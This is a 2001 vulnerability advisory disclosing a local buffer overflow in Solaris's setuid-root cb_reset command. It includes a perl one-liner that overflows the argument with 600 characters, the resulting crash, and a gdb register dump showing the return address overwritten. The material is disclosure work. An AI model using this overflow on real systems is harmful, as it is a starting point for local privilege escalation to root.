Vulnerability in Solaris /opt/SUNWssp/bin/cb_reset Date Published: June 12, 2001 Advisory ID: N/A Bugtraq ID: N/A CVE CAN: Non currently assigned. Title: Solaris /opt/SUNWssp/bin/cb_reset Buffer Overflow Vulnerability Class: Boundary Error Condition Remotely Exploitable: No Locally Exploitable: Yes Vulnerability Description: A problem with the cb_reset setuid root command included in the SUNWssp package (not in the standard install), results in a buffer overflow and potentially the execution of arbitraty code. Due to the insufficient handling of input parameter, a buffer overflow at 600 characters makes it possible to overwrite variables on the stack including the return address. Vulnerable Packages/Systems: SunOS 5.8 (have not tested on other version) Solution/Vendor Information/Workaround: Sun Microsystems was notified on June 12, 2001. Patches are excepted shortly. Credits: This vulnerability was discovered by Pablo Sor, Buenos Aires, Argentina. This advisory was drafted with the help of the SecurityFocus.com Vulnerability Help Team. For more information or assistance drafting advisories please mail vulnhelpat_private Technical Description : $ uname -a SunOS laika 5.8 Generic_108528-07 sun4u sparc SUNW,Ultra-5_10 $ ls /tftpboot/cb_port /tftpboot/cb_port $ /opt/SUNWssp/bin/cb_reset `perl -e 'print "A"x600'` Resetting host AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... ether_hostton(SrcHost:laika): No such file or directory ether_hostton(DstHost:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA): No such file or directory Bus Error (core dumped) $ gdb /opt/SUNWssp/bin/cb_reset --core=core Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.8"... (no debugging symbols found)... Core was generated by `/opt/SUNWssp/bin/cb_reset AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 10, Bus Error. Reading symbols from /opt/SUNWssp/lib/libSspFileAccess.so... (no debugging symbols found)...done. Loaded symbols for /opt/SUNWssp/lib/libSspFileAccess.so Reading symbols from /opt/SUNWssp/lib/liblogger.so... (no debugging symbols found)...done. [...] Loaded symbols for /usr/lib/nss_files.so.1 #0 0x1219c in cb_send_frame () (gdb) info registers g0 0x0 0 g1 0xff195b80 -15115392 g2 0xff322630 -13490640 g3 0xff332d78 -13423240 g4 0x0 0 g5 0x0 0 g6 0x0 0 g7 0x0 0 o0 0x13278 78456 o1 0xff1bbab8 -14959944 o2 0xff1b8018 -14974952 o3 0x13278 78456 o4 0x13258 78424 o5 0xffbedb71 -4269199 sp 0xffbedb18 -4269288 o7 0x1218c 74124 l0 0xc3c3c3c3 -1010580541 l1 0x41414141 1094795585 l2 0x41414141 1094795585 l3 0x41414141 1094795585 l4 0x41414141 1094795585 l5 0x41414141 1094795585 l6 0x41414141 1094795585 l7 0x41414141 1094795585 i0 0x41414141 1094795585 i1 0x41414141 1094795585 i2 0x41414141 1094795585 i3 0x41414141 1094795585 i4 0x4141414d 1094795597 i5 0x41414141 1094795585 fp 0x41414141 1094795585 i7 0x41414141 1094795585 (***) y 0xb 11 psr 0xfe801001 -25161727 wim 0x0 0 tbr 0x0 0 pc 0x1219c 74140 npc 0x121a0 74144 fpsr 0x0 0 cpsr 0x0 0 (gdb) -- Pablo Sor psorat_private, psorat_private
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